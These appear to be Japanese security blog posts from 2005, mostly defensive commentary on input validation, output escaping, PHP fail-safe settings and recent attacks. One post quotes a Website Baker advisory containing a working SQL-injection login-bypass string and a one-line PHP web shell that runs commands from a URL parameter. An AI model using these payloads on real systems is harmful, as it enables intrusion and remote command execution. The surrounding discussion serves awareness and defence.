サニタイズと言わない

サニタイズと言わない

珍しくサニタイズという考え方自体が間違っているという意見を見ました。

私もサニタイズと言う考え方はNagative Security(禁止事項を定義する考え方)からの発想なので、Positive Security(許可する事項を定義する考え方)でプログラムを作るべきと考えていますし、あちらこちらで言っています。この高木さんのブログのでは、デフォルトのコーディングスタイルではサニタイズを考えなくても良いようにする事、と意見されているだと思います。いちいち意識しなくても良いようなスタイルの方が間違いが少なくなるので良いことだと思います。

# Googleで調べるとNagative/Positive Securityの方がよく利用され
# ていることが分かりますが、個人的にはNagative/Positive Security
# と言っても分かりづらい気がします。Reactive/Proactive Security
# と (受動的/能動的セキュリティ)言った方が分かりやすい気がする
# のでこっちを使っています。

Reactive/Proactiveなセキュリティと考えるとコーディングスタイルの変更によるセキュリティ確保はProactiveなセキュリティ対策なので実践していきたいものです。

ところで、常々感じているのは多くのプログラムで「サニタイズ」という概念のおかげで入力値の確認が疎かになっているのではないでしょうか?セキュアなコードでは入力値が

-期待する形式であるか?
-期待する範囲であるか?

確認することが重要です。期待する形式である、ということは文字の種類等だけではなく、selectやradioフィールドの値であるならプログラムで設定した入力値であるか照合する事も含めてチェックします。selectやradioでなくてもプログラムが設定する値であるなら必ずプログラムkが設定している値であるかも確認自由形式の文字列であれば文字数やエンコーディング、数値であれば最小、最大値の範囲内であるかチェックします。もし、おかしなデータがあれば適切はログを取り、適切なエラー画面を表示します。ライブラリ化していれば別に難しい事でも手間がかかる事ではありません。手製のHTMLフォームクラスではJavaScriptとサーバサイドの両方で自動的にチェックするようになっています。
# JavaScriptでチェックしているのはフォームPOST後に
# 「形式が違います」等とエラーになるのが自分が嫌い
# だからです。

多くのプログラムで「サニタイズしようと考えた結果、セキュリティホールを作ってしまった」のは今までのセキュリティホールを見てみれば明らかです。サニタイズには語源のSanitize -(真実を曲げたりして)無害にする、と定義されている通り間違った使用例が多く見受けられます。よくあるサニタイズコードの悪い所は「ダメな部分を取り除く」だけのコードになっている事が多い点です。これでは攻撃されていても攻撃があった事さえ分かりません。攻撃者は不正な入力値を含むデータを送信してもエラーも無く処理が終了する事で、システムはReactive Securityを使用している事が分かります。ReactiveなセキュリティモデルのシステムはProactiveなセキュリティモデルより脆弱である事が多く(現実的にはReactiveセキュリティモデルのみでセキュリティを確保することは無理)、攻撃者のターゲットとして選ばれる確立も高くなります。

念のために、Reactiveなセキュリティモデルが役立たずか、という事ではありません。Reactiveなセキュリティモデルも非常に有用です。その典型的な例はIPSです。本来セキュリティホールがある場合、IPSで対処するのではなくセキュリティホール自体を修正するべきです。しかし、コードがない製品の脆弱性でベンダーがなかなか対応してくれない場合、アプリケーションの修正とテストに多くに時間が必要な場合も多くあります。こういった場合、IPSが無いとセキュリティを確保できません。最終的にはIPSでチェックしなくても良いようにシステムを変更するべきですがIPSは「つなぎ」に欠かせません。

Sanitizeという概念が混乱(?)を起こすのは入力・出力両方に同じ用語が使われていることも原因の一つではないかと考えています。「不正な入力がないようSanitizeし、….」とか「不正な文字列が無いようSanitizeを行ってからHTMLを出力し、…..」等と入力確認と適切な出力形式への変換を同じ用語で説明しています。同じ用語で2つ以上の事柄を意味すると混乱の元です。この意味でもサニタイズとは言わないようにと言う意見には賛成です。

Javaの場合は適切なタグを利用すれば自動的にHTML出力に適した形式で出力してくれますがPHPにはシステムが提供する関数にはそのような関数がありません。つい最近、webappsec MLでやりとりをしている中でOWASP Guideを書いている人(?)のメールにも書いてあったのですが「どうせPHP6はUTF-8対応で互換性の多くを失うのだから

-eche, print, printf: 自動的にHTML用に出力
-echo_raw, print_raw, printf_raw: ダイレクトに出力

のように変えた方が良い」とありました。最初は「どうかな」と思いましたがこれくらいの変更をしないと安全でないコードを駆逐することは難しいかも知れません。この変更を行えばXSS脆弱性を持つPHPコードが激減することは確かだと思います。

入門書の書き方

書いてみるとプログラミング入門書はどう書くか結構悩みます。自分の場合、割り切って多少本当にはじめての人に分かり辛くても出来るだけ本当に必要と思われる項目を十分に説明するように配慮しました。イメージ通りの仕上がりとは言えませんが、それなりの出来と思います。amazon.co.jpを見れば分かりますが、予想通り評価は分かれましたが :)

セキュリティ系の入門書もどう書くか結構悩みます。今回も結構割り切って書いています。また今回も評価は分かれるかと思います。今回の予想、前の本と反対の評価になりそうな気がします。どんな本でも同じとは思いますが、どの読者層に対して書くか、決めるのは難しいですね。

SpamメールでのWMF攻撃

WMFの脆弱性を利用した攻撃は新しく再利用しやすい攻撃方法が公開されたり大問題ですね。

http://sunbeltblog.blogspot.com/2005/12/new-wmf-exploit-confirmed-in-spam.html

このリンク先の例はメールに添付されたJPEGファイルからWalwareをインストールする仕組みになっているので、システム管理者は年末年始休暇明けからいきなりMalware対策に大忙しかも…

いろいろなところからリンクされていますが、タイトルのリンク先にもアンオフィシャルなパッチのURLが記載されています。SANSのブログでも「普通はアンオフィシャルなパッチなんて適用しないけど、これは適用した方がよい」という趣旨のエントリもありました。さて、どうする。

Wiki荒らし

私のWikiに荒らしがり、昨日それに気が付いたので修正しました。MenuBarとFrontPageページにゴミが入っていたのですが、FrontPageの方は意図が何なのか不明な変更なのです。(リンク先はページを更新するのでそのうち無くなります)

http://wiki.ohgaki.net/index.php?cmd=backup&page=FrontPage&age=22&action=diff

MenuBarの方はPukiwikiを狙った自動SPAM(?)のだったのかも知れません。

http://wiki.ohgaki.net/index.php?cmd=backup&page=MenuBar&age=10&action=diff

DIVタグを使って(Pukiwikiではそんなタグ書けませんが)URLリンクは表示されないようにしつつ、リンクを作ろうとした攻撃だったようです。DIVタグが書けるWebアプリでは見かけ上分からないので気が付きづらいです。

いくらWikiとは言え、組織的SPAMが当たり前になってきているのでFrontPage、MenuBarくらいは凍結しておくべきでした。Wikiにもある程度体系的な認証や保護が必要な時代になりました。来年は更に自動的なSPAM行為が増えると思われます。と言うことで来年のTODOの一つはWikiをMediaWikiに乗り換える、かな?
# Pukiwikiに本格的な認証機能を付ける、という手もありますが。

httprintの新バージョン

Webサーバのフィンガープリンティングツールのhttprintの新バージョンがリリースされてるようです。

# [new] Multi-threaded engine. httprint v301 is a complete re-write, featuring a multi-threaded scanner, to process multiple hosts in parallel. This greatly saves scanning time. *multi-threading is not yet supported in the FreeBSD version.

# [new] SSL information gathering. httprint now gathers SSL certificate information, which helps you identify expired SSL certificates, ciphers used, certificate issuer, and other such SSL related details.

# [new] Automatic SSL detection. httprint can detect if a port is SSL enabled or not, and can automatically switch to SSL connections when needed.

パフォーマンスとSSLサポートが向上しています。

ちなみに手元のLinux/Apache2に対して57.23%の確立でApache2であると判定しました。本気で隠そう、とまでは思っていないですが単純なスキャンでは分かりづらいくらいには隠そうとしていてこの結果です。まずまずの検知性能と思います。

OSもそうですが、隠しているつもりでも隠れていない場合も結構あるので気になる方は試してみてはいかがでしょうか?
# OSならnmapが定番のフィンガープリンティングツールです。念の為。

試しに実行してみたhttprintのアクセスログは次の通りです。

192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET / HTTP/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET / HTTP/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “OPTIONS * HTTP/1.0” 200 – “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “OPTIONS / HTTP/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET /antidisestablishmentarianism HTTP/1.0” 404 7556 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “PUT / HTTP/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “JUNKMETHOD / HTTP/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET / JUNK/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “get / http/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “POST / HTTP/1.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET /cgi-bin/ HTTP/1.0” 403 7556 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET /scripts/ HTTP/1.0” 404 7556 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET / HTTP/1.1” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET / HTTP/1.2” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET / HTTP/3.0” 200 15036 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET /.asmx HTTP/1.1” 404 7556 “-” “-”
192.168.100.210 – – [25/Dec/2005:05:43:29 +0900] “GET /../../ HTTP/1.0” 400 226 “-” “-“

MS、マック用『IE』のサポートを年内で終了

例えば、DELLのショッピングサイトなどはIEしかサポートしていません。

FirefoxのUser Agent Switcherを使えばDELLのショッピングサイトでもLinux+Firefoxでも発注できる(多少問題はありますが)ので致命的とは言えませんが、普通にFirefoxをサポートしてくれるようになってほしいですね。

Mac用IEの終了でFirefoxサポートが加速される?!

セキュリティ対策:3つの基本

プログラミング言語によらずセキュリティ対策には3つの基本があると思います。

1.外部からの入力は信用せず、形式、範囲が想定内か確認する
2.外部システムへ出力を行う場合は適切なエスケープ処理を行う
3.セキュリティ上の問題が発生しても被害を最小限に留める措置を行う

1.の外部からの入力は信用しない、にはユーザからの入力だけでなく他のサブシステムの入力も信用してはならないです。例えばqmailのコマンド郡は同じ作者が作っているにも関わらずお互いに信用していません。

2.の適切にエスケープ処理を行う、はシステムに合った最適なエスケープ処理を行う事が必要です。例えば、システム上のコマンドを実行する場合やSQL文を実行する場合、適切なエスケープ処理は処理系によって異なる場合があります。

3.はfail safe機能は使えるものは使う、という事です。プログラミング上でのセキュリティ対策ではないですが適切な例を思いつかなかったのでGCCのstack protector機能を例に説明します。GCCにはstack protectorと言う機能を追加する事ができます。この機能を追加すれば仮に1.の「外部入力を信用しない」を守った「つもり」でプログラム作っていても、万が一スタックオーバーフローがあった場合でも任意コードを実行される危険性を大幅に低減することが可能になります。

どうしてわざわざこんな事を書くかというと、fail safeとして有用な機能やコードに対して「どうして有用なのか解らない」と思われてしまうケースがよくあるからです。Cプログラマでオーバーフローが発生したときにコード実行を防止してくれる機能がどうして有用なのか解らない、と考えられる方は少ないと思います。
# OSやGCCの基本機能として入れるか、入れないか、という部分では
# いろいろ議論の余地はあるとは思いますが…

使用する言語を問わず致命的な問題にならないよう対策が取れる場合は有用に活用するべき、と私は考えています。fail safeな機能や仕組みは軽視されがちですが、私は非常に重要だと考えています。普通はだれでも間違えたくて(バグを作りたくて、セキュリティホールを作りたくて、など適当に読み替えてください)間違える訳ではありません。それでも間違いは起きる物です。間違いは起きるのは当たり前、を前提とするとfail safe機能の重要性は理解してもらえるのはないか、と考えています。

このブログでセキュリティ上の対策などを断片的に書く事がありますが、これらの基本は踏まえた上での対策として書いています。

ところで、PHPの場合、fail safe機能として利用できる機能には

– open_basedir設定
– allow_url_fopen設定
– カスタムエラーハンドラ登録

があります。safe_modeもありますがPHP6では削除候補なので入れていません。
# あまりよく考えていないので他にもあるかも。コメント歓迎します。

追記:
fail safe的な機能として利用できる機能:
-disable_function設定
-disable_classes設定
-max_execution_time設定
-max_input_time設定
-post_max_size設定
-memory_limit設定
-log_errors設定
-auto_prepent/append設定
-シャットダウン関数登録
-file_upload設定
-upload_max_filesize設定
-default_socket_timeout設定
-DB接続の永続的接続無効化

狙い撃ちフィッシング – スピアフィッシング

特定のターゲットのみ狙い撃ちするスピアフィッシング(スピアーフィッシングとは中銃や銛を使い魚を突く事)前からあるのですが、ITMediaの翻訳記事にあったので。困った物ですよね。見ないとならないようなメールで来ると開かざるを得ないですから。この記事以外にもネットショップ経営者にクレームメールを装ったフィシングも話題になっていました。(これは日本の話)

VMwarePlayer等を使ってWebとメールは仮想ホスト上で実行するくらいの用心が必要になってきてます… ちなみに私はそこまでしてません…

Mambo, Coppermine, PHPBBが攻撃対象に

Mambo, Coppermine, PHPBBがワームか何かの攻撃対象になっているそうです。

Mambo、PHPBBは日本でもよく利用されていると思います。
Coppermineはフォトギャラリーの様ですね。

攻撃に成功するとlistenと言うmalwareをインストールされるそうです。

ところでXMLRPCの不具合を狙った攻撃が行われている、とこのブログにも書いたかも知れませんがこの攻撃も続いています。もしXMLPRCを使っているPHPアプリで対策を取られていない方は直ぐにシステムをチェックした方が良いと思います。
# XMLRPC脆弱性への攻撃は私のサーバログにも残っています。
# 上記の3つのアプリケーションへの攻撃があるかは出先なの
# で確認していません。

Flashのアップグレードし忘れ

「Macromedia Flash Player SWF File Handling Arbitrary Code Execution」と言う不具合があったのでWindowsの方はFlashPlayer8にアップグレートしていたのですが、Linuxの方をアップグレードし忘れていました…

The vulnerability also affects libflashplayer.so on the Unix platform

という事で、Linuxの場合はFlashPlayer8は無いのでFlashPlayer 7.0.60以上でなければならないでそうす。

最近の流行のPHPアプリ脆弱性公開と攻撃手法の解説

最近公開されているPHPアプリの攻撃手法には以前に見られない傾向があります。例えば、Wesite Bakerというアプリケーション(私はこのアプリが何なのかもしりません)ですが、SQLインジェクション脆弱性を使用しシステムに不正に侵入した後、丁寧に管理者であれば公開ディレクトリにファイルがアップロードできる仕様を利用して任意コマンド・スクリプトを実行する手順まで解説しています。

最近、親切(?)に脆弱性を攻撃する方法が解説されているケースが増えています。公開されているPHPのアプリケーションにはセキュリティ上問題が含まれている事が少なくありません。OSSであることは安全性の十分条件ではありません。公開されているアプリ、ツールを利用されている場合も細心の注意が必要です。

# これも使ったことがないですが、Zen-Cart(1.2.6d以下)も
# SQL Injection => リモートコマンド実行の脆弱性が公開され
# ています。利用されている方は必要な対処を早急に行うべきで
# す。

Website Baker <=2.6.0 SQL Injection -> Login bypass -A> remote code execution

software:
site: http://www.websitebaker.org/2/home/
description: “Website Baker 2, the Open Source Content Management System
designed to enable users to produce websites with ease.”

if magic_quotes_gpc off you can bypass admin login check and grant access
to administrative area, poc:

switch to:

http://[target]/[path_to_wb]/admin/

and login with:

user: ‘or isnull(1/0)/*
pass: [whatever]

now you can go to “Media” menu and upload a cmd.php file with this code inside:

<?php echo “Hi Master!”;error_reporting(0);ini_set(“max_execution_time”,0);system($_GET[cmd]);?>

インターネットエクスプローラーで Googleローカルへアクセスすると地図が…

グーグルローカルではかなり複雑なJavaScriptを利用しているのですが「これでトラブルは発生していないのかな?」と思っていたらやはり結構苦労が多いようです。

1. Internet Explorer を起動し、[ツール] をクリックします。
2. [インターネット オプション] を選択します。
3. [全般] が選択されていない場合は、[全般] をクリックします。
4. [インターネット一時ファイル] で [ファイルの削除…] をクリックします。
5. [OK] をクリックして終了します。

これは基本ですよね。理由は知りませんが大量のキャッシュファイルが残ると何もかもおかしくなってしまいます。設定をはるかに超える量のキャッシュがキャッシュディレクトリに残ってしまう事があります。全てのファイルを消すまでに1時間以上かかったケースを目の当りにした事も…

ところで、URLを見ると.pyなのでpythonなのかな?
http://local.google.co.jp/support/bin/answer.py?answer=21849

ちなみにMSの http://local.live.com/ ですがFirefox 1.5(Windows版)でアクセスするとクリックしないとドラッグしたままになる問題がありました。Firefox 1.0(Linux版)では問題なくドラックできました。Firefoxを利用してlocal.live.comでズームするとlocal.google.comの地図をIEでズームした様に画像がズームアップしていきます。Firefoxでも同じ事がやろうと思えばできるんですね。

衛星画像ですがlocal.live.comの方がより細かい画像でした。しかし、場所によっては夜に撮影したと思われる画像もありました。少なくともNew York市の衛星写真は夜撮影したと思われる画像でした。

MS、Google両方ともアメリカの地図であれば経路検索もできるようになっていました。カーナビがGoogle化する日も近い?! G-Book危うし?!

RedHatのWeb開発スタック

LAMP+PostgreSQLはシンプルなサイト用に

Red Hat says the Web Application Stack is for simple web sites and applications, and includes the key LAMP components Apache HTTP Server, MySQL database and the PHP scripting language on top of Red Hat Enterprise Linux. Customers will be able to choose the PostgreSQL database, which will be an option with the Web Application Stack.

http://www.redhat.com/docs/manuals/database/
にあるようにRedHatはPostgreSQLを推進(RedHat Databaseの中身はPostgreSQL)するはず、だったのですがRHDBをバージョンアップしませんね…

Javaは何でもあり用に

It says the Java Web Application Stack is for more dynamic web applications and supports all the components of the Web Application Stack – in other words LAMP plus PostgreSQL – as well as the Apache Tomcat servlet and JSP Container. There will be support and updates for the key Java development libraries and tools – Apache Struts, Apache Axis, Spring, Hibernate, Lucene, Ant, Junit, Jython, Log4J and key XML libraries.

JythonがあるあたりはRedHatらしい。

基情報となる情報をRedHatのサイトを探してみまると2005/12/6のプレスリリースが基ネタのようです。

VS 2005のExpress Editionは事実上,無償提供へ

自分のWikiのAdWords広告に以下のようなVisual Studioの広告が載っていたので見てみました。

Web アプリを開発するなら
Microsoft Visual Studio 2005 シンプルで使いやすい充実の機能満載

Beta2版とは言え自由にダウンロードできそうな感じだったので検索してみると

VS 2005のExpress Editionは事実上,無償提供へと言う記事を見つけました。1ヶ月も前の事なんですね。

1年間限定らしいのでVSを持っていない方はとにかく正式版がリリースされたらダウンロードだけはしておいても良いかも知れません。